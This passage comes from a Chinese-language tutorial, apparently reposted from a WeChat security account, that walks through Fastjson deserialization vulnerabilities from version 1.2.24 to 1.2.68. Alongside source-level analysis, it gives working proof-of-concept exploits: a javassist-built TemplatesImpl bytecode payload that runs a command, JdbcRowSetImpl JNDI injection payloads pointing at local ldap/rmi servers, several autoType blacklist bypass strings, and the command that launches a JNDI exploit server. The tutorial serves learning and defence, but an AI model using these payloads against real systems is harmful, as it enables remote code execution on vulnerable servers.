(2)漏洞成因分析
上面的text
里面的_bytecodes
的内容是以下内容编译成字节码文件后(.class
)再base64
编码后的结果:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
可以看到,我们通过以上代码直接定义类Test
,并在类的构造方法中执行calc
的命令;至于为什么要写上述代码的第14
–21
行,因为Test
类是继承AbstractTranslet
的,上述代码的两个transform
方法都是实现AbstractTranslet
接口的抽象方法,因此都是需要的;具体来说的话,第一个transform
带有SerializationHandler
参数,是为了把XML
文档转换为另一种格式,第二个transform
带有DTMAxisIterator
参数,是为了对XML
文档中的节点进行迭代。总结:对于上述代码,应该这么理解:建立Test
类,并让其继承AbstractTranslet
类,然后通过Test t = new Test();
来初始化,这样我就是假装要把xml
文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc
,所以会弹出计算器。
①问题1:为什么要继承AbstractTranslet
类?
参考Y4tacker
师傅的文章:
https://blog.csdn.net/solitudi/article/details/119082164
但是在实战场景中,Java
的ClassLoader
类提供了defineClass()
方法,可以把字节数组转换成Java
类的示例,但是这里面的方法的作用域是被Protected
修饰的,也就是说这个方法只能在ClassLoader
类中访问,不能被其他包中的类访问:但是,在TransletClassLoader
类中,defineClass
调用了ClassLoader
里面的defineClass
方法:然后追踪TransletClassLoader
,发现是defineTransletClasses
:再往上,发现是getTransletInstance
:到此为止,要么是Private
修饰要么就是Protected
修饰,再往上继续追踪,发现是newTransformer
,可以看到此时已经是public
了:因此,我们的利用链是:
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
基于此,我们可以写出如下POC
:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class Main {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "W01fh4cker" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
""@type":"" + NASTY_CLASS +"","+
""_bytecodes":[""+evilCode_base64+""],"+
"'_name':'W01h4cker',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
这段代码就可以动态生成恶意类,执行效果如下:
②为什么要这么构造json
?
可以看到,我们最终构造的json数据为:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "W01fh4cker",
"_tfactory": {},
"_outputProperties": {},
}
为什么这么构造呢?还是直接看defineTransletClasses
这里:可以看到,逻辑是这样的:先判断_bytecodes
是否为空,如果不为空,则执行后续的代码;后续的代码中,会调用到自定义的ClassLoader
去加载_bytecodes
中的byte[]
,并对类的父类进行判断,如果是ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,那么就把类成员属性的_transletIndex
设置成当前循环中的标记位,第一次调用的话,就是class[0]
。可以看到,这里的_bytecodes
和_outputProperties
都是类成员变量。同时,_outputProperties
有自己的getter
方法,也就是getOutputProperties
。总结:说详细一点,**TemplatesImpl**
利用链的整体思路如下:构造一个**TemplatesImpl**
类的反序列化字符串,其中**_bytecodes**
是我们构造的恶意类的类字节码,这个类的父类是**AbstractTranslet**
,最终这个类会被加载并使用**newInstance()**
实例化。在反序列化过程中,由于**getter**
方法**getOutputProperties()**
满足条件,将会被**fastjson**
调用,而这个方法触发了整个漏洞利用流程:**getOutputProperties()**
** -> **newTransformer()**
-> **getTransletInstance()**
-> **defineTransletClasses()**
/ ****EvilClass.newInstance()**
。限制条件也很明显:需要代码中加了Feature.SupportNonPublicField
。
2. fastjson 1.2.25 反序列化漏洞(学习JdbcRowSetImpl链的相关知识)
(1)黑白名单机制介绍
众所周知,在fastjson
自爆1.2.24
版本的反序列化漏洞后,1.2.25
版本就加入了黑白名单机制。例如我们更换并下载1.2.25
版本的fastjson
,然后再去执行原来的poc
:就会提示我们autoType is not support
:查看源码可以发现这里定义了反序列化类的黑名单:具体如下:
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
接下来我们定位到checkAutoType()
方法,看一下它的逻辑:如果开启了autoType
,那么就先判断类名在不在白名单中,如果在就用TypeUtils.loadClass
加载,如果不在就去匹配黑名单:如果没开启autoType
,则先匹配黑名单,然后再白名单匹配和加载;最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了autoType
或者expectClass
不为空也就是指定了Class
对象时才会调用TypeUtils.loadClass
加载,否则fastjson
会默认禁止加载该类。我们跟进一下这里的loadClass
方法:问题就出在这里:我们来仔细看下上图红框中的代码,代码的含义是:如果类名的字符串以[
开头,则说明该类是一个数组类型,需要递归调用loadClass
方法来加载数组元素类型对应的Class
对象,然后使用Array.newIntrance
方法来创建一个空数组对象,最后返回该数组对象的Class
对象;如果类名的字符串以L
开头并以;
结尾,则说明该类是一个普通的Java
类,需要把开头的L
和结尾的;
给去掉,然后递归调用loadClass
。
(2)黑白名单绕过的复现
基于以上的分析,我们可以发现,只要我们把payload
简单改一下就可以绕过。我们需要先开启默认禁用的autoType
,有以下三种方式:
使用代码进行添加:ParserConfig.getGlobalInstance().addAccept("org.example.,org.javaweb.");或者ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.example.
在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.example.
我们先去[https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0](https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0)
下载个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
,然后启动利用工具:
java -jar .JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "calc.exe"
选择下面的JDK 1.8
的:然后在Main.py
中写入如下代码:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
String payload = "{n" +
" "a":{n" +
" "@type":"java.lang.Class",n" +
" "val":"com.sun.rowset.JdbcRowSetImpl"n" +
" },n" +
" "b":{n" +
" "@type":"com.sun.rowset.JdbcRowSetImpl",n" +
" "dataSourceName":"ldap://127.0.0.1:1389/ppcjug",n" +
" "autoCommit":truen" +
" }n" +
"}";
JSON.parse(payload);
}
}
以上为第一种poc
,在JDK 8u181
下使用ldap
测试成功,使用rmi
测试失败。除此之外,另一种poc
则需要满足漏洞利用条件为JDK 6u113
、7u97
和 8u77
之前,例如我们这里重新新建一个项目,并从[https://www.oracle.com/uk/java/technologies/javase/javase8-archive-downloads.html](https://www.oracle.com/uk/java/technologies/javase/javase8-archive-downloads.html)
处下载jdk-8u65-windows-x64.exe
并安装。然后利用新安装的jdk 8u65
来启动jndi exploit
:
"C:Program FilesJavajdk1.8.0_65binjava.exe" -jar .JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "calc.exe"
导入fastjson1.2.25
:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>fastjson_8u66_1_2_25</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
</dependencies>
</project>
在Main.java
中写入如下内容:
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://127.0.0.1:1099/ift2ty", "autoCommit":true}";
JSONObject.parse(payload);
}
}
(3)对两种poc绕过手法的分析
首先来说说限制,基于JNDI+RMI
或JDNI+LADP
进行攻击,会有一定的JDK
版本限制。
RMI利用的JDK版本 ≤ JDK 6u132、7u122、8u113
LADP利用JDK版本 ≤ JDK 6u211 、7u201、8u191
①第一种poc(1.2.25-1.2.47通杀!!!)
然后我们先来看第一种poc
。我们仔细欣赏下第一种poc
的payload
:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/exp","autoCommit":true}}
我们会发现,加上{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
就会绕过原本的autoType
,由此我们可以猜测,针对未开启autoType
的情况,fastjson
的源代码中应该是有相关方法去针对处理的,并且利用我们的这种方式,正好可以对应上。于是我们直接去查看源代码,翻到checkAutoType
的地方,可以看到,如果没开启autoType
,就会有以下两种加载方式:第一种是从mappings
里面获取,也就是上图中的第727
行代码,点进去之后可以看到:如果获取不到就采用第二种方法,也就是第728
–730
行代码,从deserializers
中获取。deserializers
是什么呢?可以看fastjson-1.2.25.jar!comalibabafastjsonparserParserConfig.class
的第172
–241
行,里面是内置的一些类和对应的反序列化器。但是deserializers
是private
类型的,我们搜索deserializers.put
,发现当前类里面有一个public
的putDeserializer
方法,可以向deserializers
中添加新数据:于是我们全局搜索该方法,发现就一个地方调用了,而且没办法寻找利用链:所以继续看第一种方法,从mappings
获取的。可以看到,mappings
这里也是private
:搜索mappings.put
,可以看到在TypeUtils.loadClass
中有调用到:于是我们全局搜索,可以看到有如下五处调用:我们一个个看。第一个需要开启autoType
:第二个要在白名单内,第三个要开启autoType
:第四个是在MiscCodec.deserialze
中的,貌似没什么限制,我们先放一边:第五个没办法利用,因为传不了参数,跳过:也就是说,只能从MiscCodec.deserialze
这里来寻找突破口了。翻到MiscCodec.java
的最上面可以看到,这个MiscCodec
是继承了ObjectSerializer
和ObjectDeserializer
的:因此,可以判断,这个MiscCodec
应该是个反序列化器,于是我们去之前的deserializers
中看看都有谁用了:挺多的,结合MiscCodec
中一堆的if
语句,可以判断,一些简单的类都被放在这里了。我们再来看这行代码:然后跟进strVal
,看看是哪儿来的:继续跟进这个objVal
:到这里就很明显了,那红框中的这段代码是什么意思呢?首先,代码中的if
语句判断当前解析器的状态是否为TypeNameRedirect
,如果是,则进入if
语句块中进行进一步的解析。在if
语句块中,首先将解析器的状态设置为NONE
,然后使用parser.accept(JSONToken.COMMA)
方法接受一个逗号Token
,以便后续的解析器对其进行处理。接下来,使用lexer.token()
方法判断下一个Token
的类型,如果是一个字符串,则进入if语句块中进行进一步的判断。在if语句块中,使用lexer.stringVal()
方法获取当前Token
的字符串值,并与val
进行比较。如果不相等,则抛出一个JSON
异常;如果相等,则使用lexer.nextToken()
方法将lexer
的指针指向下一个Token
,然后使用parser.accept(JSONToken.COLON)
方法接受一个冒号Token
,以便后续的解析器对其进行处理。最后,使用parser.parse()
方法解析当前Token
,并将解析结果赋值给objVal
。如果当前Token
不是一个对象的结束符(右花括号),则使用parser.accept(JSONToken.RBRACE)
方法接受一个右花括号Token
,以便后续的解析器对其进行处理。如果当前解析器的状态不是TypeNameRedirect
,则直接使用parser.parse()
方法解析当前Token
,并将解析结果赋值给objVal
。根据之前分析的,objVal
会传给strVal
,然后TypeUtils.loadClass
在执行的过程中,会把strVal
放到mappings
缓存中。加载到缓存中以后,在下一次checkAutoType
的时候,直接就返回了,绕过了检验的部分直接执行:
②第二种poc
第二种poc
的绕过手法在上面的“黑白名单机制介绍”中已经写的很清楚了,直接参考即可。需要注意的是,由于代码是循环去掉L
和;
的,所以我们不一定只在头尾各加一个L
和;
。由于1.2.25的代码中有如下代码:因此我们可以构造如下poc
:
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{"a":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/ift2ty", "autoCommit":true}}";
JSONObject.parse(payload);
}
}
也可以绕过:
(4)关于JdbcRowSetImpl链利用的分析
从上面我们学习了绕过黑白名单的学习,接下来看JdbcRowSetImpl
利用链的原理。根据FastJson
反序列化漏洞原理,FastJson
将JSON
字符串反序列化到指定的Java
类时,会调用目标类的getter
、setter
等方法。JdbcRowSetImpl
类的setAutoCommit()
会调用connect()
方法,connect()
函数如下:我们把这段代码单独拿出来分析:
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
一眼就看到了两行异常熟悉的代码:
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
我们可以通过一个简单的小demo
快速了解:
package org.example;
import com.sun.rowset.JdbcRowSetImpl;
public class Main {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/ift2ty");
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}
所以之前的两种poc
可以直接自定义uri
利用成功。
3. fastjson 1.2.42 反序列化漏洞
首先先下载fastjson 1.2.25
:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>fastjson_1_2_42</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
</dependencies>
</project>
直接翻到ParseConfig
这里:可以看到,fastjson
把原来的明文黑名单转换为Hash
黑名单,但是并没什么用,目前已经被爆出来了大部分,具体可以参考:
https://github.com/LeadroyaL/fastjson-blacklist
然后checkAutoType
这里进行判断,仅仅是把原来的L
和;
换成了hash
的形式:所以直接双写L
和;
即可:
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://127.0.0.1:1099/ift2ty", "autoCommit":true}";
JSONObject.parse(payload);
}
}
4. fastjson 1.2.43 反序列化漏洞
修改之前的pom.xml
里面的版本为1.2.43
。直接全局搜索checkAutoType
,看修改后的代码:意思就是说如果出现连续的两个L
,就报错。那么问题来了,你也妹对[
进行限制啊,直接绕:
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://127.0.0.1:1099/ift2ty", "autoCommit":true}";
JSONObject.parse(payload);
}
}
5. fastjson 1.2.44 mappings缓存导致反序列化漏洞
修改之前的pom.xml
里面的版本为1.2.44
。这个版本的fastjson
总算是修复了之前的关于字符串处理绕过黑名单的问题,但是存在之前完美在说fastjson 1.2.25
版本的第一种poc
的那个通过mappings
缓存绕过checkAutoType
的漏洞,复现如下:
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/ift2ty","autoCommit":true}}";
JSONObject.parse(payload);
}
}
6. fastjson 1.2.47 mappings缓存导致反序列化漏洞
原理同上,payload
也同上。复现截图:
7.fastjson 1.2.68 反序列化漏洞
fastjson 1.2.47
的时候爆出来的这个缓存的漏洞很严重,官方在1.2.48
的时候就进行了限制。我们修改上面的pom.xml
中fastjson
版本为1.2.68
。直接翻到MiscCodec
这里,可以发现,cache
这里默认设置成了false
:并且loadClass
重载方法的默认的调用改为不缓存:fastjson 1.2.68
的一个亮点就是更新了个safeMode
:如果开启了safeMode
,那么autoType
就会被完全禁止。但是,这个版本有了个新的绕过方式:expectClass
。仔细看checkAutoType
函数:
以下条件的整理参考:https://blog.csdn.net/mole_exp/article/details/122315526
发现同时满足以下条件的时候,可以绕过checkAutoType
:
-
expectClass
不为null
,且不等于Object.class
、Serializable.class
、Cloneable.class
、Closeable.class
、EventListener.class
、Iterable.class
、Collection.class
; -
expectClass
需要在缓存集合TypeUtils#mappings
中; -
expectClass
和typeName
都不在黑名单中; -
typeName
不是ClassLoader
、DataSource
、RowSet
的子类; -
typeName
是expectClass
的子类。
这个expectClass
并不是什么陌生的新名词,我们在前置知识里面的demo
中的这个Person.class
就是期望类:
Person person2 = JSON.parseObject(jsonString2, Person.class);
但是之前的那些payload
执行的时候,期望类这里都是null
,那么是哪些地方调用了呢?我们直接全局搜索parser.getConfig().checkAutoType
:一个是JavaBeanDeserializer
的deserialze
这里:另一个是ThrowableDeserializer
的deserialze
这里:具体的分析可以看tr1ple
师傅的文章,写的实在是太详细了:
https://www.cnblogs.com/tr1ple/p/13489260.html
四、参考与致谢
我在学习fastjson
漏洞的时候,阅读参考了以下文章,每篇文章都或多或少地给予了我帮助与启发,于是在此一并列出!也十分感谢4ra1n
师傅和su18
师傅热情地回答我一个Java
初学者提出的可能有点傻的问题。(笑)
https://www.anquanke.com/post/id/248892
https://paper.seebug.org/1698/
https://www.mi1k7ea.com/2019/11/03/Fastjson系列一——反序列化漏洞基本原理/
https://www.rc.sb/fastjson/
https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl利用链/
https://blog.weik1.top/2021/09/08/Fastjson 反序列化历史漏洞分析/
http://blog.topsec.com.cn/fastjson-1-2-24反序列化漏洞深度分析/
https://xz.aliyun.com/t/7107
https://www.javasec.org/java-vuls/FastJson.html
https://www.freebuf.com/articles/web/265904.html
https://b1ue.cn/archives/506.html
http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/
https://forum.butian.net/share/1092
https://www.freebuf.com/vuls/178012.html
https://www.cnblogs.com/nice0e3/p/14776043.html
https://www.cnblogs.com/nice0e3/p/14601670.html
http://140.143.242.46/blog/024.html
https://paper.seebug.org/994/
https://paper.seebug.org/1192/
http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析/
https://zhuanlan.zhihu.com/p/544463507
https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/
https://www.anquanke.com/post/id/240446
https://yaklang.io/products/article/yakit-technical-study/fast-Json/
https://su18.org/post/fastjson/#2-fastjson-1225
https://cloud.tencent.com/developer/article/1957185
https://yaklang.io/products/article/yakit-technical-study/fast-Json
https://developer.aliyun.com/article/842073
http://wjlshare.com/archives/1526
https://xz.aliyun.com/t/9052#toc-16
https://blog.csdn.net/Adminxe/article/details/105918000
https://blog.csdn.net/q20010619/article/details/123155767
https://xz.aliyun.com/t/7027#toc-3
https://xz.aliyun.com/t/7027#toc-5
https://www.sec-in.com/article/950
https://xz.aliyun.com/t/7027#toc-14
https://www.cnblogs.com/nice0e3/p/14776043.html#1225-1241-绕过
https://www.cnblogs.com/nice0e3/p/14776043.html#1225版本修复
https://y4er.com/posts/fastjson-1.2.80/#回顾fastjson历史漏洞
https://github.com/su18/hack-fastjson-1.2.80
https://blog.csdn.net/mole_exp/article/details/122315526
https://www.cnblogs.com/ph4nt0mer/p/13065373.html
https://alewong.github.io/2020/09/14/Fastjson-1-2-68版本反序列化漏洞分析篇/
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.anquanke.com/post/id/225439
原文始发于微信公众号(追梦信安):【两万字原创长文】完全零基础入门Fastjson系列漏洞(基础篇)